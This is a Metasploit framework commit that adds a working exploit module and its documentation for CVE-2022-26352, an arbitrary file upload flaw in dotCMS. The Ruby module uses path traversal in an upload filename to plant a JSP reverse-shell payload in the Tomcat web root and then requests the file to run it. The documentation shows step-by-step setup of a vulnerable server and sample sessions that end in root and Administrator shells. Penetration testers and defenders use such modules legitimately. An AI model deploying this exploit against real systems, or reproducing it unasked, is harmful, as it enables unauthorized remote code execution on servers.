Skip to content

Commit 474116d

Browse files
Land #16611, DotCMS File Upload to RCE Module (CVE-2022-26352)
2 parents 44a22ab + 97caca4 commit 474116d

File tree

2 files changed

+353
-0
lines changed

2 files changed

+353
-0
lines changed
Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
## Vulnerable Application
2+
3+
### Description
4+
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
5+
respective stream. The module uploads a jsp payload to the tomcat ROOT directory and accesses it to trigger its execution.
6+
7+
### Clone and build a vulnerable version of dotCMS:
8+
This requires Java 1.8 to be installed and JAVA_HOME to be set (see below for per OS instructions).
9+
1. `git clone https://github.com/dotCMS/core.git`
10+
1. `cd core`
11+
1. `git checkout 7d604e5 (this is vulnerable version 21.06)`
12+
1. `cd dotCMS/`
13+
1. `./gradlew createDist`
14+
```
15+
Starting a Gradle Daemon (subsequent builds will be faster)
16+
17+
<output truncated>
18+
19+
BUILD SUCCESSFUL in 12m 53s
20+
21 actionable tasks: 19 executed, 2 up-to-date
21+
```
22+
23+
If the build was successful you should now have a vulnerable 21.06 linux and windows instance:
24+
```
25+
msfuser@ubuntu:~/core/dotCMS$ ls -l ../dist-output/
26+
total 811132
27+
-rw-rw-r-- 1 msfuser msfuser 413134562 May 20 10:22 dotcms_21.06.tar.gz
28+
-rw-rw-r-- 1 msfuser msfuser 417462181 May 20 10:24 dotcms_21.06.zip
29+
```
30+
31+
Inside each of the above compressed directories exists a directory `dotserver` which contains the vulnerable app.
32+
33+
### Ubuntu 20.04 install
34+
35+
#### Install JAVA 1.8
36+
37+
1. `export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"`
38+
1. `export PATH=$JAVA_HOME/bin:$PATH`
39+
1. `sudo apt-get install openjdk-8-jdk`
40+
41+
#### Install Postgres
42+
43+
1. `sudo apt install postgresql -y`
44+
1. `sudo -u postgres psql`
45+
1. Change the default database, username and password from `dotcms` to `postgres` (or create the db and user `dotcms`).
46+
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties`
47+
```
48+
##Postgres default configuration
49+
driverClassName=org.postgresql.Driver
50+
jdbcUrl=jdbc:postgresql://localhost/postgres
51+
username=postgres
52+
password=postgres
53+
```
54+
55+
#### Install Elastic Search
56+
57+
1. `sudo apt install apt-transport-https ca-certificates wget`
58+
1. `wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -`
59+
1. `sudo sh -c 'echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" > /etc/apt/sources.list.d/elastic-7.x.list'`
60+
1. `sudo apt update`
61+
1. `sudo apt install elasticsearch`
62+
1. `sudo systemctl daemon-reload `
63+
1. `sudo systemctl enable elasticsearch.service`
64+
1. `sudo systemctl start elasticsearch.service`
65+
1. `sudo systemctl status elasticsearch.service`
66+
1. Edit `dotcms-config-cluster.properties` to ensure the following properties are set:
67+
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/dotcms-config-cluster.properties`
68+
```
69+
ES_ENDPOINTS=http://localhost:9200
70+
71+
ES_PROTOCOL=http
72+
ES_HOSTNAME=localhost
73+
ES_PORT=9200
74+
75+
ES_TLS_ENABLED=false
76+
```
77+
78+
#### Run dotCMS
79+
80+
1. `cd dotserver/tomcat-9.0.41/bin/`
81+
1. `chmod 755 *.sh`
82+
1. `catalina.sh run`
83+
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
84+
85+
### Windows 10 install
86+
87+
#### Install Java 1.8
88+
89+
1. Download and follow wizard to install:
90+
https://www.oracle.com/java/technologies/downloads/#license-lightbox
91+
92+
#### Install Elasticsearch 8.2.0
93+
94+
Download and follow wizard to install:
95+
https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.2.0-windows-x86_64.zip dotcms-config-cluster.properties
96+
1. Ensure dotcms-config-cluster.properties contains the same properties as specified above
97+
98+
#### Install Postgres 10.21
99+
100+
1. Download and follow wizard to install:
101+
https://www.enterprisedb.com/postgresql-tutorial-resources-training?uuid=ea5c8104-3940-4ed1-b427-81cf19781581&campaignId=70138000000rYFmAAM
102+
1. Ensure db.properties contains the same properties as specified above
103+
104+
#### Run dotCMS
105+
106+
1. `cd dotserver\tomcat-9.0.41\bin\`
107+
1. `catalina.bat run`
108+
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
109+
110+
## Verification Steps
111+
1. `use multi/http/dotcms_file_upload_rce`
112+
2. `set RHOSTS [ips]`
113+
3. `set LHOST [ips]`
114+
4. `run`
115+
116+
## Scenarios
117+
118+
### Ubuntu 20.04 dotCMS 21.06:
119+
```
120+
msf6 > use exploit/multi/http/dotcms_file_upload_rce
121+
[*] Using configured payload java/jsp_shell_reverse_tcp
122+
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227
123+
rhosts => 172.16.199.227
124+
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
125+
lhost => 172.16.199.1
126+
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
127+
128+
[*] Started reverse TCP handler on 172.16.199.1:4444
129+
[*] Running automatic check ("set AutoCheck false" to disable)
130+
[+] The target is vulnerable.
131+
[*] Writing JSP payload
132+
[+] Successfully wrote JSP payload
133+
[*] Executing JSP payload
134+
[+] Successfully executed JSP payload
135+
[+] Deleted ../webapps/ROOT/XZhKXIssjD.jsp
136+
[+] Deleted ../webapps/ROOT/M4NYE9Kb.jsp
137+
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.227:39610) at 2022-05-20 15:01:25 -0400
138+
139+
id
140+
uid=0(root) gid=0(root) groups=0(root)
141+
uname -a
142+
Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
143+
```
144+
145+
### Windows 10 dotCMS 21.06:
146+
```
147+
msf6 > use dotcms_file_upload_rce
148+
[*] Using exploit/multi/http/dotcms_file_upload_rce
149+
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231
150+
rhosts => 172.16.199.231
151+
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
152+
lhost => 172.16.199.1
153+
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
154+
155+
[*] Started reverse TCP handler on 172.16.199.1:4444
156+
[*] Running automatic check ("set AutoCheck false" to disable)
157+
[+] The target is vulnerable.
158+
[*] Writing JSP payload
159+
[+] Successfully wrote JSP payload
160+
[*] Executing JSP payload
161+
[+] Successfully executed JSP payload
162+
[!] Tried to delete ../webapps/ROOT/AkqMhxCZWr.jsp, unknown result
163+
[!] Tried to delete ../webapps/ROOT/xdPfn9JTdu33X.jsp, unknown result
164+
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.231:50016) at 2022-05-20 12:41:36 -0400
165+
166+
167+
Shell Banner:
168+
Microsoft Windows [Version 10.0.19042.1706]
169+
(c) Microsoft Corporation. All rights reserved.
170+
-----
171+
172+
173+
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>whoami
174+
whoami
175+
desktop-h1lncdm\administrator
176+
177+
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>systeminfo
178+
systeminfo
179+
180+
Host Name: DESKTOP-H1LNCDM
181+
OS Name: Microsoft Windows 10 Pro
182+
OS Version: 10.0.19042 N/A Build 19042
183+
184+
<output truncated>
185+
```
186+
Note on windows the module reports an unknown result when trying to delete the files though it does successfully
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'DotCMS RCE via Arbitrary File Upload.',
19+
'Description' => %q{
20+
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
21+
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
22+
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a
23+
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get
24+
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special
25+
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
26+
},
27+
'Author' => [
28+
'Shubham Shah', # Discovery and analysis
29+
'Hussein Daher', # Discovery and analysis
30+
'jheysel-r7' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' => [
34+
['CVE', '2022-26352'],
35+
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
36+
],
37+
'Privileged' => false,
38+
'Platform' => %w[linux win],
39+
'Targets' => [
40+
[
41+
'Java Linux',
42+
{
43+
'Arch' => ARCH_JAVA,
44+
'Platform' => 'linux'
45+
}
46+
],
47+
[
48+
'Java Windows',
49+
{
50+
'Arch' => ARCH_JAVA,
51+
'Platform' => 'win'
52+
}
53+
]
54+
],
55+
'DisclosureDate' => '2022-05-03',
56+
'DefaultTarget' => 0,
57+
'DefaultOptions' => {
58+
'SSL' => true,
59+
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
60+
},
61+
'Notes' => {
62+
'Stability' => [CRASH_SAFE],
63+
'Reliability' => [REPEATABLE_SESSION],
64+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
65+
}
66+
)
67+
)
68+
69+
register_options([
70+
Opt::RPORT(8443),
71+
OptString.new('TARGETURI', [true, 'Base path', '/'])
72+
])
73+
end
74+
75+
def check
76+
test_content = Rex::Text.rand_text_alpha(10)
77+
test_file = "#{test_content}.jsp"
78+
test_path = "../../#{test_file}"
79+
uuid = Faker::Internet.uuid
80+
81+
jsp = <<~EOS
82+
<%@ page import=\"java.io.File\" %>
83+
<%
84+
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
85+
jsp.delete();
86+
%>
87+
#{uuid}
88+
EOS
89+
90+
vars_form_data = [
91+
{
92+
'name' => 'name',
93+
'data' => jsp,
94+
'encoding' => nil,
95+
'filename' => test_path,
96+
'mime_type' => 'text/plain'
97+
}
98+
]
99+
100+
send_request_cgi(
101+
'method' => 'POST',
102+
'uri' => normalize_uri(target_uri.path, '/api/content/'),
103+
'vars_form_data' => vars_form_data
104+
)
105+
106+
res = send_request_cgi(
107+
'method' => 'GET',
108+
'uri' => normalize_uri(target_uri.path, test_file.to_s)
109+
)
110+
111+
if res && res.body.include?(uuid)
112+
return Exploit::CheckCode::Vulnerable
113+
end
114+
115+
Exploit::CheckCode::Safe
116+
end
117+
118+
def write_jsp_payload
119+
jsp_path = "../../#{jsp_filename}"
120+
print_status('Writing JSP payload')
121+
vars_form_data = [
122+
{
123+
'name' => 'name',
124+
'data' => payload.encoded,
125+
'encoding' => nil,
126+
'filename' => jsp_path,
127+
'mime_type' => 'text/plain'
128+
}
129+
]
130+
131+
res = send_request_cgi(
132+
'method' => 'POST',
133+
'uri' => normalize_uri(target_uri.path, '/api/content/'),
134+
'vars_form_data' => vars_form_data
135+
)
136+
137+
unless res&.code == 500
138+
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
139+
end
140+
141+
register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
142+
print_good('Successfully wrote JSP payload')
143+
end
144+
145+
def execute_jsp_payload
146+
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
147+
print_status('Executing JSP payload')
148+
res = send_request_cgi(
149+
'method' => 'GET',
150+
'uri' => jsp_uri
151+
)
152+
153+
unless res&.code == 200
154+
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
155+
end
156+
print_good('Successfully executed JSP payload')
157+
end
158+
159+
def exploit
160+
write_jsp_payload
161+
execute_jsp_payload
162+
end
163+
164+
def jsp_filename
165+
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
166+
end
167+
end

0 commit comments

Comments
 (0)